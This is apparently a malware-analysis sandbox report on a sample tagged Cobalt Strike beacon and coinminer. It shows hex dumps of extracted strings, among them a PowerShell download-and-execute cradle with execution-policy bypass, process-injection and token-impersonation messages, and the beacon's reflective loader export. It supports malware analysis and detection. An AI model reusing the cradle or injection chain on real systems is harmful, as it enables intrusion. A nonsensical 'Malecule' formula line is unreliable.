Hostile 93% Download

2026-09-30_720a9db5ea53081bcb79a0c3c3e84c4e_amadey_cobalt-strike_coinminer_glassworm_poet-rat_smoke-loader_vidar

Cobalt Strike beacon and XMRig miner

Cobalt Strike reflective Beacon DLLDynamically resolved process-hollowing API chain
SHA-256a472feaac30be5f232aed9c521d0b235b64782f7bc3e9b63d0da035dc60b6838
URLhttps://tria.ge/api/v0/samples/260930-mjm9qaxv9n/sample
MaleculeK₂(Mc₃Am)O₉(C₄Er₉As₁₄I₃PPr₂CaDyXe)H₁₀(Cm₂₄Cr₇Db₈F₁₅Hf₂Mg₃Os₂₁Po₂₁Ti₂U)Md₅(Bi₁₃HeSi)Th₆

Evidence

Explicit Desktop path token in content 0x3dd428–0x3dd5c8
⋯7 more rows
0x3dd498d9370b00b6370b0095370b0068370b00.7...7...7..h7..
0x3dd4a8433a2f55736572732f534b4f4c2d4e4fC:/Users/SKOL-NO
0x3dd4b854452f4465736b746f702f4c6f616465TE/Desktop/Loade
0x3dd4c8722f7363726970742e676f0000433a2fr/script.go..C:/
0x3dd4d8476f2f7372632f6f732f657865632f6cGo/src/os/exec/l
⋯15 more rows
Percent-encoded content decoded 0x5e312d–0x5e341d
⋯7 more rows
0x5e319d2a2f2a00256400002573257300000000*/*.%d..%s%s....
0x5e31ad63646e2e257825782e25730077777736cdn.%x%x.%s.www6
0x5e31bd2e257825782e25730000000025732e31.%x%x.%s....%s.1
0x5e31cd25782e257825782e2573000025732e34%x.%x%x.%s..%s.4
0x5e31dd25303878253038782530387825303878%08x%08x%08x%08x
0x5e31ed253038782e2530387825303878253038%08x.%08x%08x%08
⋯4 more rows
0x5e323d30387825303878253038782e2578257808x%08x%08x.%x%x
0x5e324d2e25730025732e332530387825303878.%s.%s.3%08x%08x
0x5e325d25303878253038782530387825303878%08x%08x%08x%08x
0x5e326d253038782e2530387825303878253038%08x.%08x%08x%08
0x5e327d78253038782530387825303878253038x%08x%08x%08x%08
0x5e328d782e2530387825303878253038782530x.%08x%08x%08x%0
0x5e329d38782530387825303878253038782e258x%08x%08x%08x.%
0x5e32ad7825782e257300000000000025732e32x%x.%s......%s.2
0x5e32bd25303878253038782530387825303878%08x%08x%08x%08x
0x5e32cd2530387825303878253038782e253038%08x%08x%08x.%08
0x5e32dd78253038782530387825303878253038x%08x%08x%08x%08
0x5e32ed7825303878253038782e257825782e25x%08x%08x.%x%x.%
0x5e32fd7300000025732e322530387825303878s...%s.2%08x%08x
0x5e330d25303878253038782530387825303878%08x%08x%08x%08x
0x5e331d2e253038782530387825303878253038.%08x%08x%08x%08
0x5e332d7825303878253038782e257825782e25x%08x%08x.%x%x.%
0x5e333d7300000025732e322530387825303878s...%s.2%08x%08x
0x5e334d2530387825303878253038782e253038%08x%08x%08x.%08
0x5e335d78253038782530387825303878253038x%08x%08x%08x%08
0x5e336d782e257825782e257300000025732e31x.%x%x.%s...%s.1
0x5e337d25303878253038782530387825303878%08x%08x%08x%08x
⋯10 more rows
Disable WoW64 filesystem redirection 0x5e39d1–0x5e3cc1
⋯9 more rows
0x5e3a612e5c2a005c2a000025730a0044093009.\*.\*..%s..D.0.
0x5e3a71253032642f253032642f253032642025%02d/%02d/%02d %
0x5e3a813032643a253032643a2530326409257302d:%02d:%02d.%s
0x5e3a910a000000460925493634640925303264....F.%I64d.%02d
0x5e3aa12f253032642f2530326420253032643a/%02d/%02d %02d:
0x5e3ab1253032643a253032640925730a000000%02d:%02d.%s....
0x5e3ac1576f77363444697361626c65576f7736Wow64DisableWow6
0x5e3ad13446735265646972656374696f6e00004FsRedirection..
0x5e3ae1576f773634526576657274576f773634Wow64RevertWow64
⋯8 more rows
0x5e3b7174657320696e2070726f636573733a20tes in process:
0x5e3b8125640000636f756c64206e6f74207772%d..could not wr
0x5e3b9169746520746f2070726f63657373206dite to process m
0x5e3ba1656d6f72793a202564000000636f756cemory: %d...coul
0x5e3bb164206e6f742061646a75737420706572d not adjust per
⋯5 more rows
0x5e3c11656e2070726f636573732025643a2025en process %d: %
0x5e3c2164000000256420697320616e20783634d...%d is an x64
0x5e3c312070726f63657373202863616e277420 process (can't
0x5e3c41696e6a6563742078383620636f6e7465inject x86 conte
0x5e3c516e742900256420697320616e20783836nt).%d is an x86
0x5e3c612070726f63657373202863616e277420 process (can't
0x5e3c71696e6a6563742078363420636f6e7465inject x64 conte
0x5e3c816e742900737973776f77363400000000nt).syswow64....
0x5e3c9173797374656d333200000000436f756csystem32....Coul
⋯3 more rows
WebClient.DownloadString method 0x5e3df9–0x5e40e9
⋯3 more rows
0x5e3e29742062696e6420746f20256400000000t bind to %d....
0x5e3e3949455820284e65772d4f626a65637420IEX (New-Object
0x5e3e494e65742e576562636c69656e74292e44Net.Webclient).D
0x5e3e596f776e6c6f6164537472696e67282768ownloadString('h
0x5e3e697474703a2f2f3132372e302e302e313attp://127.0.0.1:
0x5e3e7925752f27290000002525494d504f5254%u/')...%%IMPORT
0x5e3e8925250000436f6d6d616e64206c656e67%%..Command leng
0x5e3e997468202825642920746f6f206c6f6e67th (%d) too long
0x5e3ea9000000000000000049455820284e6577........IEX (New
0x5e3eb92d4f626a656374204e65742e57656263-Object Net.Webc
0x5e3ec96c69656e74292e446f776e6c6f616453lient).DownloadS
0x5e3ed97472696e672827687474703a2f2f3132tring('http://12
0x5e3ee9372e302e302e313a25752f27293b20257.0.0.1:%u/'); %
0x5e3ef973000000706f7765727368656c6c202ds...powershell -
0x5e3f096e6f70202d6578656320627970617373nop -exec bypass
0x5e3f19202d456e636f646564436f6d6d616e64 -EncodedCommand
0x5e3f2920222573220000003f25733d25730000 "%s"...?%s=%s..
0x5e3f3925732625733d25730000000025732573%s&%s=%s....%s%s
0x5e3f493a2025730d0a00003f25730025732625: %s....?%s.%s&%
⋯10 more rows
0x5e3ff949276d20616c726561647920696e2053I'm already in S
0x5e40094d42206d6f6465002573202861646d69MB mode.%s (admi
0x5e40196e290000436f756c64206e6f74206f70n)..Could not op
0x5e4029656e2070726f636573733a2025642028en process: %d (
0x5e4039257529004661696c656420746f20696d%u).Failed to im
0x5e4049706572736f6e61746520746f6b656e20personate token
0x5e405966726f6d202564202825752900000000from %d (%u)....
0x5e40694661696c656420746f206475706c6963Failed to duplic
0x5e4079617465207072696d61727920746f6b65ate primary toke
0x5e40896e20666f722025642028257529000000n for %d (%u)...
0x5e40994661696c656420746f20696d70657273Failed to impers
0x5e40a96f6e617465206c6f67676564206f6e20onate logged on
0x5e40b975736572202564202825752900000000user %d (%u)....
0x5e40c9436f756c64206e6f7420637265617465Could not create
0x5e40d920746f6b656e3a202564000000000000 token: %d......
0x5e40e9485454502f312e3120323030204f4b0dHTTP/1.1 200 OK.
Beacon keyword (neutral context) 0x5e669d–0x5e684d
⋯8 more rows
0x5e671d28fb02002cfb020030fb0200798c0000(...,...0...y...
0x5e672d3dfb02000000626561636f6e2e646c6c=.....beacon.dll
0x5e673d005f5265666c6563746976654c6f6164._ReflectiveLoad
0x5e674d65724034000000000000000000000000er@4............
0x5e675d00000000000000000000000000000000................
⋯15 more rows
Explicit Desktop path token in content 2026-09-30_720a9db5ea53081bcb79a0c3c3e84c4e_amadey_cobalt-strike_coinminer_glassworm_poet-rat_smoke-loader_vidar · 0x3dd428–0x3dd5c8
⋯7 more rows
0x3dd498d9370b00b6370b0095370b0068370b00.7...7...7..h7..
0x3dd4a8433a2f55736572732f534b4f4c2d4e4fC:/Users/SKOL-NO
0x3dd4b854452f4465736b746f702f4c6f616465TE/Desktop/Loade
0x3dd4c8722f7363726970742e676f0000433a2fr/script.go..C:/
0x3dd4d8476f2f7372632f6f732f657865632f6cGo/src/os/exec/l
⋯15 more rows
Percent-encoded content decoded 2026-09-30_720a9db5ea53081bcb79a0c3c3e84c4e_amadey_cobalt-strike_coinminer_glassworm_poet-rat_smoke-loader_vidar · 0x5e312d–0x5e341d
⋯7 more rows
0x5e319d2a2f2a00256400002573257300000000*/*.%d..%s%s....
0x5e31ad63646e2e257825782e25730077777736cdn.%x%x.%s.www6
0x5e31bd2e257825782e25730000000025732e31.%x%x.%s....%s.1
0x5e31cd25782e257825782e2573000025732e34%x.%x%x.%s..%s.4
0x5e31dd25303878253038782530387825303878%08x%08x%08x%08x
0x5e31ed253038782e2530387825303878253038%08x.%08x%08x%08
⋯4 more rows
0x5e323d30387825303878253038782e2578257808x%08x%08x.%x%x
0x5e324d2e25730025732e332530387825303878.%s.%s.3%08x%08x
0x5e325d25303878253038782530387825303878%08x%08x%08x%08x
0x5e326d253038782e2530387825303878253038%08x.%08x%08x%08
0x5e327d78253038782530387825303878253038x%08x%08x%08x%08
0x5e328d782e2530387825303878253038782530x.%08x%08x%08x%0
0x5e329d38782530387825303878253038782e258x%08x%08x%08x.%
0x5e32ad7825782e257300000000000025732e32x%x.%s......%s.2
0x5e32bd25303878253038782530387825303878%08x%08x%08x%08x
0x5e32cd2530387825303878253038782e253038%08x%08x%08x.%08
0x5e32dd78253038782530387825303878253038x%08x%08x%08x%08
0x5e32ed7825303878253038782e257825782e25x%08x%08x.%x%x.%
0x5e32fd7300000025732e322530387825303878s...%s.2%08x%08x
0x5e330d25303878253038782530387825303878%08x%08x%08x%08x
0x5e331d2e253038782530387825303878253038.%08x%08x%08x%08
0x5e332d7825303878253038782e257825782e25x%08x%08x.%x%x.%
0x5e333d7300000025732e322530387825303878s...%s.2%08x%08x
0x5e334d2530387825303878253038782e253038%08x%08x%08x.%08
0x5e335d78253038782530387825303878253038x%08x%08x%08x%08
0x5e336d782e257825782e257300000025732e31x.%x%x.%s...%s.1
0x5e337d25303878253038782530387825303878%08x%08x%08x%08x
⋯10 more rows
Remote-process VirtualAllocEx allocation embedded:pe@0x5b8601 · 0x25fa8–0x26298
⋯4 more rows
0x25fe858b0e858cf854acfd0bb6bd0efc52aefX..X..J...k...*.
0x25ff8aa4fe5aafbed16fb4386c5434d9ad74d.O......C..CM..M
0x260083366553385119485458acf45f9e910f93fU3....E..E....
0x26018020406027ffe817f50a0f0503c78443c........P..P<xD<
0x260289f25ba9fa84be3a851a2f351a35dfea3.%...K..Q..Q.]..
0x260384080c0408f058a8f923fad929d21bc9d@..@.....?...!..
0x2604838704838f5f104f5bc63dfbcb677c1b68pH8.....c...w..
0x26058daaf75da2142632110203010ffe51aff..u.!Bc!. 0.....
0x26068f3fd0ef3d2bf6dd2cd814ccd0c18140c......m...L.....
0x2607813263513ecc32fec5fbee15f9735a297.&5.../._.._.5..
0x260884488cc44172e3917c49357c4a755f2a7D..D..9...W..U..
0x260987efc827e3d7a473d64c8ac645dbae75d~..~=zG=d..d]..]
0x260a819322b1973e6957360c0a06081199881.2+.s..s`..`....
0x260b84f9ed14fdca37fdc224466222a547e2aO..O...."Df"*T~*
0x260c8903bab90880b8388468cca46eec729ee.;......F..F..).
0x260d8b86bd3b814283c14dea779de5ebce25e.k...(<...y.^..^
0x260e80b161d0bdbad76dbe0db3be032645632......v...;.2dV2
0x260f83a744e3a0a141e0a4992db49060c0a06:tN:....I..I....
0x2610824486c245cb8e45cc29f5dc2d3bd6ed3$Hl$\..\..]...n.
0x26118ac43efac62c4a6629139a8919531a495.C..b..b.9...1..
0x26128e4d337e479f28b79e7d532e7c88b43c8..7.y..y..2...C.
0x26138376e59376ddab76d8d018c8dd5b164d57nY7m..m......d.
0x261484e9cd24ea949e0a96cd8b46c56acfa56N..N.I..l..lV..V
0x26158f4f307f4eacf25ea65caaf657af48e7a......%.e..ez..z
0x26168ae47e9ae08101808ba6fd5ba78f08878.G.......o..x..x
0x26178254a6f252e5c722e1c38241ca657f1a6%Jo%.\r..8$..W..
0x26188b473c7b4c69751c6e8cb23e8dda17cdd.s....Q...#...|.
0x2619874e89c741f3e211f4b96dd4bbd61dcbdt..t.>!.K..K.a..
0x261a88b0d868b8a0f858a70e090703e7c423e........p..p>|B>
0x261b8b571c4b566ccaa664890d84803060503.q..f..fH..H....
0x261c8f6f701f60e1c120e61c2a361356a5f35........a..a5j_5
0x261d857aef957b969d0b986179186c19958c1W..W.i........X.
0x261e81d3a271d9e27b99ee1d938e1f8eb13f8.:'..'....8.....
0x261f8982bb3981122331169d2bb69d9a970d9.+..."3.i..i..p.
0x262088e07898e9433a7949b2db69b1e3c221e.....3...-...<".
0x2621887159287e9c920e9ce8749ce55aaff55...... ...I.U..U
0x2622828507828dfa57adf8c038f8ca159f8a1(Px(..z......Y..
0x26238890980890d1a170dbf65dabfe6d731e6.........e....1.
0x262484284c64268d0b8684182c3419929b099B..Bh..hA..A.)..
0x262582d5a772d0f1e110fb07bcbb054a8fc54-Zw-.....{..T..T
0x26268bb6dd6bb162c3a16c6a56363f8847c7c.m...,:...cc..||
0x26278ee997777f68d7b7bff0df2f2d6bd6b6b..ww..{{......kk
0x26288deb16f6f9154c5c56050303002030101..oo.T..`P00....
0x26298cea96767567d2b2be719fefeb562d7d7..ggV}++.....b..
Cobalt Strike token-launch error format embedded:pe@0x5b8601 · 0x2ab2c–0x2ae1c
⋯7 more rows
0x2ab9c2a2f2a00256400002573257300000000*/*.%d..%s%s....
0x2abac63646e2e257825782e25730077777736cdn.%x%x.%s.www6
0x2abbc2e257825782e25730000000025732e31.%x%x.%s....%s.1
0x2abcc25782e257825782e2573000025732e34%x.%x%x.%s..%s.4
0x2abdc25303878253038782530387825303878%08x%08x%08x%08x
0x2abec253038782e2530387825303878253038%08x.%08x%08x%08
⋯4 more rows
0x2ac3c30387825303878253038782e2578257808x%08x%08x.%x%x
0x2ac4c2e25730025732e332530387825303878.%s.%s.3%08x%08x
0x2ac5c25303878253038782530387825303878%08x%08x%08x%08x
0x2ac6c253038782e2530387825303878253038%08x.%08x%08x%08
0x2ac7c78253038782530387825303878253038x%08x%08x%08x%08
0x2ac8c782e2530387825303878253038782530x.%08x%08x%08x%0
0x2ac9c38782530387825303878253038782e258x%08x%08x%08x.%
0x2acac7825782e257300000000000025732e32x%x.%s......%s.2
0x2acbc25303878253038782530387825303878%08x%08x%08x%08x
0x2accc2530387825303878253038782e253038%08x%08x%08x.%08
0x2acdc78253038782530387825303878253038x%08x%08x%08x%08
0x2acec7825303878253038782e257825782e25x%08x%08x.%x%x.%
0x2acfc7300000025732e322530387825303878s...%s.2%08x%08x
0x2ad0c25303878253038782530387825303878%08x%08x%08x%08x
0x2ad1c2e253038782530387825303878253038.%08x%08x%08x%08
0x2ad2c7825303878253038782e257825782e25x%08x%08x.%x%x.%
0x2ad3c7300000025732e322530387825303878s...%s.2%08x%08x
0x2ad4c2530387825303878253038782e253038%08x%08x%08x.%08
0x2ad5c78253038782530387825303878253038x%08x%08x%08x%08
0x2ad6c782e257825782e257300000025732e31x.%x%x.%s...%s.1
0x2ad7c25303878253038782530387825303878%08x%08x%08x%08x
⋯10 more rows
beacon.dll file reference embedded:pe@0x5b8601 · 0x2e09c–0x2e26c
⋯8 more rows
0x2e11c28fb02002cfb020030fb0200798c0000(...,...0...y...
0x2e12c3dfb02000000626561636f6e2e646c6c=.....beacon.dll
0x2e13c005f5265666c6563746976654c6f6164._ReflectiveLoad
0x2e14c65724034000000000000000000000000er@4............
0x2e15c00000000000000000000000000000000................
⋯17 more rows

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.